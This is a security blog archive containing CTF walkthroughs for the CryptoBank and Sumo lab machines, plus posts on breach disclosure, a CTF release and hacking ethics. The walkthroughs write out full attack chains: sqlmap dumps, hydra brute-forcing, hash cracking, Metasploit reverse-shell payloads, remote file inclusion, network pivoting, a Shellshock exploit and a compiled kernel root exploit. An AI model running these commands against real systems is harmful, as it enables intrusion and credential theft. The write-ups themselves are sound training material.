Categories
CTF's Walkthroughs

CryptoBank – CTF Walkthrough

Realistic CTF exercises are definitely amongst my favourites. This CTF simulates a bank holding cryptocurrency. According to the description, the objective is to hack the CryptoBank and reach their cold Bitcoin wallet. Let’s give this a go.

Scan – NMAP

I loaded NMAP to perform a scan for any open ports on the server.

nmap -p- 192.168.56.104

This revealed two open ports. SSH (22), and a Web Server (80). Let’s have a look at the website.

Reviewing the website

The website had a button on it in the top right of the page, which looked interesting (Secure Login). Having clicked it, it returned an error that it couldn’t be loaded. It looks like it is trying to visit http://cryptobank.local/trade

I modified my /etc/hosts file to point this domain to the CTF IP and was then able to load the page.

As this is a login page, let’s check for SQL Injection vulnerabilities. I find the easiest way to do this is using Burpsuite, and sqlmap. Burpsuite is a proxy server that can intercept your traffic before it reaches its destination. I do this so I can save the HTTP request information into a text file which can then be fed into sqlmap.

SQL Injection

After loading Burpsuite, I clicked on the Proxy tab, and ensured the Intercept setting was set to ‘On’. Once I confirmed this, I configured the proxy settings in my browser to go through Burpsuite (by default, it runs on port 8080).

I clicked ‘Login’ on the CryptoBank login page, and watched the request come into Burpsuite.

You can right click the request in Burpsuite, and click “Copy to file”. Once the request information was saved in a file, I opened up the terminal, navigated to the folder which contained the request file I just created, and ran sqlmap.

sqlmap -r Crypto

This confirmed the ‘User’ field was indeed injectable. I changed my command slightly so I could see the contents of the database.

sqlmap -r Crypto --dump

This took quite a while, as it was exploiting an SQL time-based vulnerability.

As we can see from the output, there are three tables:

  • accounts
  • comments
  • loans

As the attack was taking a very long time, I decided to halt the attack and limit it to just the ‘accounts’ table.

sqlmap -r Crypto --dump -T accounts

I recommend going to make a coffee at this point, as this takes a very long time.

2 coffees and an episode of Silicon Valley later, I finally had the list of usernames and passwords. I took one of the usernames, and logged into the website.

Reviewing the Trading Platform

There were a few sections here I looked at. I couldn’t really find anything obviously available to exploit though, so I decided to test for more SQL Injections. On the ‘Apply A Loan’ page was a search field. I decided to give this one a test.

sqlmap returned there were no fields vulnerable here. I proceeded to move onto ‘Money Transfer’.

Whilst I was able to transfer all of the money from this users account it also revealed no SQL vulnerabilities. This isn’t ideal.

I had a further look around, and when browsing the loan page, I noticed you could click onto each of the loans and there was a GET parameter in the URL. I decided to check for SQL injection vulnerabilities here instead.

Great! It looks like this is vulnerable to UNION SQL Injections. This is good news as it means we can extract the database contents a little bit lot quicker. As there wasn’t anything else of interest in the money portal, I decided that this could likely be the attack vector and decided to extract all the databases I possibly could using sqlmap. Perhaps, if we can get the SQL database credentials, we can try them against the SSH service that we know is open from the port scan.

Exploiting the second SQL Injection

sqlmap -r Crypto3 --dump-all

I let this command run, and it exported a lot of the databases and tables. Eventually, it started exporting something using a time-based SQL attack again, so I cancelled it at this point and reviewed what was saved in my sqlmap folder.

We can see the MySQL table has been downloaded. I decided to have a look at user.csv to see the MySQL users. This revealed the user ‘cryptobank’ and revealed the hashed authentication string.

My laptop really isn’t built for hash cracking (or anything, really) – so I loaded up my Desktop PC which has a GPU, and loaded hashcat. There’s a good list called CrackStation which contains a metric ton (1,493,677,782) of passwords. If you add a rule set, it increases even more.

hashcat "4331797E9768FC8E1344EA425E00DD4462E4720A" -r C:\Users\*****\hashcat-5.1.0\rules\d3ad0ne.rule C:\Users\*****\downloads\realuniq.lst -m 300 -O -w 3

Whilst my Graphics Card was sweating away trying to crack the hash against 14, 336 954, 443 820 possible password combinations, I decided to run DIRB on the website. Normally, I would do this first, but given I found an SQL Injection straight away I hadn’t got around to doing it yet.

dirb http://cryptobank.local

This revealed a few more directories I hadn’t yet discovered.

/info.php was a PHP info file, which may come in handy.
/development required password authentication. Perhaps this is where we need to put the username/password in once it’s cracked. That being said, we do have a list of usernames and passwords from the website. I suppose there’s no harm checking these whilst we wait.

hydra -L users.txt -P passwords.txt cryptobank.local http-get /development

Unfortunately, this returned no valid login results. I took another look at the web page as I recall there being staff listed there.

If we hover over the e-mail icons, it looks like it links to their profiles. They all return 404 results, but they look like they’re in the format of usernames (julius.b etc). Julius, being the developer, seems to be the one who would most likely accesses /development, but I added all of their usernames into the username list, just in case.

I re-ran the Hydra command. Result! We have a username and password. Do we even need the hash to be cracked now?

Reviewing the development area

Visiting the development area looks a bit like a dead end. Let’s run DIRB on it to see if there are any hidden directories.


dirb http://julius.b:wJWm4CgV26@cryptobank.local/development

This revealed quite a few more directories. /backups just seemed to contain a copy of the main website. /tools however seemed to contain something a lot more interesting.

I had a look around these tools. ‘Execute a command’ required another username and password which I just didn’t have, ‘Upload a file’ seemed to only accept image files (at least without trying to hack it anyway). ‘View a system file’ seemed more interesting though.

I played around with the file GET parameter in the URL. It seemed to mitigate getting anything like /etc/passwd by showing a security error – I decided to see if RFI would work instead.

Remote File Inclusion

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
run

After running this in msfconsole, I was given some PHP code. I only needed the URL from it though, so I copied this into the file GET parameter, and finally had a shell.

sessions -i 1
shell
python -c 'import pty; pty.spawn("/bin/bash")'

Once I visited the URL, meterpreter advised a session had opened. I entered the session by typing sessions -i 1, loaded a shell, and then used the python command to get /bin/bash

This returned an error saying python wasn’t found. This isn’t uncommon. You can locate it with the whereis command.

whereis python
python3.6 -c 'import pty; pty.spawn("/bin/bash")'

After locating the python binary with the whereis command, I adjusted my command slightly and had an interactive shell.

Privilege Escalation

The first two things I normally do when getting a shell is checking what binaries I can run as root (with Sudo), and checking if there are any binaries with the SUID bit set. I initially checked for SUID binaries:

find / -perm -u=s -type f 2>/dev/null

This didn’t reveal anything obviously exploitable.

I then checked for commands I could run with Sudo:

sudo -l

This just prompted me for my password (which I didn’t have), so it doesn’t look like the attack vector is either of these two things.

I had a look around various directories, and spotted flag.txt in /home/cryptobank. First flag obtained!

After searching various files and folders, I checked for any internal services running on different network ports:

netstat -tulnp

This revealed a few IP’s – 172.17.0.1:8983 seems interesting. I suspect it’s a docker instance running something.

I closed my shell, and went back to the meterpreter console. I then mapped the subnet that IP address was on, using the command below:

run autoroute -s 172.17.0.0/24

Once done, I ran the portfwd command to forward traffic from a port on my local machine to port 8983 we saw with the netstat command:

portfwd add -l 81 -p 8983 -r 172.17.0.1

I then loaded my web browser, and visited http://localhost:81.

After seeing an installation of ‘Solr’, I searched msfconsole for an exploit. In the meterpreter session, I typed ‘background’ to put my session to the back. This put my session back to msfconsole. I then searched for a Solr vulnerability:

search solr

This showed an exploit we may be able to use.

use 0
show options
set RHOSTS localost
set RPORT 81
set SRVPORT 8082 (this command may not be necessary for you if port 8080 is available).
set LPORT 4441 (this command may also not be necessary).
set LHOST 192.168.56.101
run

This exploit worked, and I was logged in as the solr user:

I ran the Sudo command to check what I could run as Sudo. Fortunately, it appeared I could run all commands, and quickly had root. Or so I thought! Initially, when I looked at the output of Sudo -l, it looked like I could run everything without a password. It looks though that the Sudo permissions work from the bottom up, rather than top down. So this wasn’t possible unless I provided a password. A few guesses later, and I had root by putting in the password as solr.

This CTF is definitely amongst my favourites. A lot of effort was put into it to make it feel more realistic. If you found this writeup helpful, please feel free to leave me a comment.

Categories
News Opinions

The corporate response to hacks

In case you haven’t heard, EasyJet has recently been subject to a breach involving 9 million customer details, of which 2,200 credit cards were also accessed.

In a statement to the London Stock Exchange, EasyJet claimed they were a target of an attack from a “highly sophisticated source”.

EasyJet may or may not be wrong in their statement, but the words “highly sophisticated” appears to be the default corporate response given from large companies falling foul of a hacking attack. I seem to recall it was only a few years ago when TalkTalk were hacked. TalkTalk were giving off a similar spin: “cyber criminals are becoming increasingly sophisticated and attacks against companies that do business online are becoming increasingly frequent”, only for a minor to be arrested a few weeks later.

The attack method used during the TalkTalk hack was an SQL Injection. As I am sure you’re aware, this is a really trivial vulnerability and is very well understood in the industry. It has also been a known attack vector for decades. It is completely inexcusable that a vulnerability of this nature existed in their systems. If they had taken just basic measures of security, this would have been mitigated.

I will be keen to see more technical detail from EasyJet as it emerges. Is this “highly sophisticated” attack going to be something equally trivial?
TalkTalk were fined £400,000 for their breach, but this was prior to GDPR legislation. The maximum fine allowed under GDPR is €20 million, or 4% of annual turnover (whichever is greater). There could be a fairly significant fine involved here. Fortunately, GDPR seems to have made cybersecurity a board room problem, but these attacks are definitely going to remain fairly common place. The real victims here are not the companies who are hacked, but the customers who entrust their data with a company who take relaxed measures in protecting it.

By the way, in case you didn’t know – Dido Harding (who was CEO of TalkTalk when they were breached), is now in charge of the “Track, Test and Trace” effort as part of the UK response to COVID19. Does this fill you with confidence?

Categories
CTF's My CTF's

PowerGrid CTF

This is my second CTF exercise that I have developed. It is rated as ‘Hard’.

Download Now

Synopsis:

Cyber criminals have taken over the energy grid across Europe. As a member of the security service, you’re tasked with breaking into their server, gaining root access, and preventing them from launching their malware before it’s too late.

We know from previous intelligence that this group sometimes use weak passwords. We recommend you look at this attack vector first – make sure you configure your tools properly. We do not have time to waste.

Unfortunately, the criminals have started a 3 hour clock. Can you get to their server in time before their malware is deployed and they destroy the evidence on their server?

The types of vulnerability/techniques used in this CTF can be seen below (they are intentionally hidden by default):

This exercise is designed to be completed in one sitting. Shutting down the virtual machine will not pause the timer. After the timer has finished, the CTF machine will be shut down and you will be unable to boot it. Please keep a local backup of the CTF prior to starting, in case you wish to attempt a second time.

If you are to succeed, I strongly recommend reading these points:

  • Keep a local backup before starting in case you run out of time
  • You will need a basic understanding of the GPG tool and how it works
  • Configure your tools so they work at the maximum/hardest level possible. Make sure you are looping around the correct thing, if you know what I mean
  • Getting the initial shell is possibly the longest part.
  • There are four flags in total. Each flag file will guide you to the next area

This virtual machine has been tested in VirtualBox only. I cannot guarantee it will work on VMWare, but it should be okay.

You can download the CTF here. I look forward to your feedback.

SHA-256: 8bc79937082748c21de14c5da3772f7fc750d52b68cf27816922186f6e68d6b7
-----BEGIN PGP SIGNATURE-----
iQIzBAABCAAdFiEEbBiicuM2ITDGGcOJPvHWS2kZ5UMFAl7NXQsACgkQPvHWS2kZ
5UOzdg//es42hIqFbXL01ASUK6Rg0hU5hKQYBNYn+CshF+HbbuAVE4lWACd1PygR
/rxKEuxnb74jvLtEn1S1orDSxu7ePKGEtxmLChX1AlTMWsODvBbDXvdtlE62iDRM
ZwKsDs87dSpLHQazP+lV0jqot02GmLVPyeg2STKyfuyeQZ8KgKQUJHe/K0GRd0Z4
XaLuy1oRM6ujDk+GZv1Yjg8oP4Uzv+Tn0IMpfc8/1BHMIYZOnVEll3ukOFcnDYHW
YcYvQwI9T8frMXLBhWqWbjFU4VCD3OAzL+F7TsQi5KZ6SuGtzRr4flhncHNYwcMU
yuQonELGMdNuXBj6Dud6G9Drh2FrGyod1CZhPw/IWDzxBSM/K34MVNmBqUcEEt+4
+bqovZ8MQ2pbOQW4IVclejPwz07+VWWIf5OrhW2z80bOSKASY0y7+z068xmO0IcS
///zxkN53/iA6nNxB0I+QZWn+AaslaWL1vknekhLLY9hBm1qus1WCHNizUUvmgBF
vyDCC4BbHgwnDqlGs8f8sREdsFr+uJrL905H/TL4Xv3H1MtKUXKQbcmUWOFpDRMm
rH1qEehstgA2Eo4tBk+dfVbYnS+9aDnXw1v13bsdkNLZI38H6XZK2ecRsfj/TG3Z
ZaQKClq+RjU9MG5RaFUwTQp95A8uILtmk+q7NEk61fAgzPLnPKQ=
=pRuz
-----END PGP SIGNATURE-----
Version NumberDescription of ChangesDate of Change
1.0Initial release20/05/2020
1.1Stability release – changed some network settings to make this work correctly in non-VirtualBox setups26/05/2020
Categories
CTF's Walkthroughs

Sumo – CTF Walkthrough

This post provides the steps on how to compromise the CTF Sumo.

Initial Analysis

As always, my first step is to scan the virtual machine with NMAP, to identify what ports are open.

nmap -p- 192.168.56.127

This identified two open ports. HTTP and SSH.

Checking out the website

Usually, I find it useful to check the website out first, as that’s where the vulnerabilities usually lie.

The main page doesn’t show anything other than a default page. Scanning it with DIRB at this point to find common directories seems sensible.

Scan – DIRB

dirb http://192.168.56.127

DIRB has a default word list, and running the above command revealed no intriguing directories. I re-ran the command, specifying the big.txt wordlist.

dirb http://192.168.56.127 /usr/share/dirb/wordlists/big.txt

This didn’t return anything interesting either!

Let’s try specifying some file extensions, such as .html and .php

dirb http://192.168.56.127 /usr/share/dirb/wordlists/big.txt -X .html,.php

Again, nothing! I tried with every wordlist in /usr/share/dirb/wordlists and it returned no results, other than a /cgi-bin/test script which didn’t seem to be of any use. At least for now.

Scan – Nikto

Another tool that is useful is Nikto. I ran a Nikto command and this revealed a little bit more.

nikto -h 192.168.56.127

This revealed a couple of potential attack vectors, including shellshock, and the ability to brute force file names due to one of the Apache modules.

I’ll be honest. I spent ages googling various different things at what I could exploit. It is Friday, I have had a long week, and I’m a few beers down. After googling numerous ways to find out how to exploit shellshock however, I found an exploit, and was able to exploit the shellshock vulnerability with it!

Exploit 34900 (Shellshock remote command injection)

https://www.exploit-db.com/exploits/34900

Once I downloaded the exploit on my Kali machine, I ran the Python command, and suddenly I had a shell.

python 34900.py payload=reverse rhost=192.168.56.127 rport=4444 lhost=192.168.56.111 lport=4444 pages=/cgi-bin/test

The shell was very buggy though, and when I ran a command, it wasn’t until the next command I run that I seemed to see the output of the first command. I need to find another way to get another decent shell, as this is not stable.

I fired up msfconsole again, and set my options.

sudo msfconsole
use multi/script/web_delivery
set LHOST 192.168.56.111
set LPORT 4447
set target Linux
set payload linux/x86/meterpreter_reverse_tcp
exploit

This gave me a wget command which I ran in the shell on the server, and my meterpreter session was started (I had to navigate to the /tmp directory before I could run the wget command, as I did not have write permissions in the current directory). I was able to enter the meterpreter session by using the following command:

sessions -i 1 (Bare in mind, if this isn't your first session, the session number will not be 1. You can run sessions -i without the number to show the sessions available)

Finally. I now have a more reliable shell using metasploit, and the meterpreter payload.

Root privilege escalation

Now that I have a shell (that isn’t incredibly buggy), I need to find out how to escalate my privileges. I had a nose around the directories, but couldn’t really find anything.

I checked for SUID binaries, but unfortunately, it didn’t return any useful results (that I could see, anyway).

find / perm -u=s -type f 2 >/dev/null

I also checked for any files that had 777 permissions, but again, there were no useful results.

find / -type f -perm -0777

I even installed pspy. You can do this by using wget. pspy identifies cronjobs running on the server, including ones being run by other users. Unfortunately, this was also a dead end and revealed nothing of use.

The next step I took was to check if there was any kernel vulnerabilities. I checked the kernel version using the following command:

uname -a

Immediately, I could see it looked fairly old, so I looked for vulnerabilities. There’s a useful tool installed on Kali called searchsploit. This allows you to search for vulnerable applications that have exploits available. Now that I had the kernel version number, I decided to use searchsploit to see if it was known to be vulnerable.

searchsploit 3.2.0

This showed there was a vulnerability in the kernel, which allows for local privilege escalation. An exploit path is included so we can try and exploit this.

I moved the exploit to my web server hosted on Kali, and then used wget to retrieve the file onto the CTF (baring in mind, I was in the /tmp directory when I ran the wget command to ensure I had write privileges).

When the file was on the CTF, I compiled it with GCC.

gcc 33589.c -O2 -o exploit

The exploit compiled, and I was then able to run it:

./exploit 0

The exploit was successful, and I had the root shell.

This CTF is marked as beginner. It’s interesting how we all find things difficult in different ways – I would certainly not consider this beginner level. I really enjoyed this CTF though – I learnt a thing or two. It is available to download on VulnHub.

Categories
Security

The ethics of hacking

So this blog is fairly new, and my first capture the flag exercise was published the other day. Fortunately, the CTF seems to have been fairly successful, and I have had a number of different questions and feedback provided by various people.

When I first published this blog, I wondered whether I would observe an increased number of cyber attack attempts to my server, due to the type of audience that would be visiting the website.

Interestingly, I’ve already found a number of different IP addresses performing scans/hacking attempts on my server, that have also downloaded my Capture the Flag exercise in full. These scans looks different to the usual noise you see in server logs.

I am sure (and hope) that the majority of the users who download my CTF exercises use their skills for good reasons, potentially leading to or improving their careers in white-hat cyber security.

I strongly encourage anyone learning these skills to use them wisely, and for legitimate purposes only. There’s not a lot I can do if you choose otherwise, but scanning and attempting to brute force a server from your domestic internet connection without any attempt at anonymity is not particularly the most intelligent thing I’ve seen.

To everyone else playing by the rules, thank you, and good luck with my CTF – I look forward to hearing your feedback.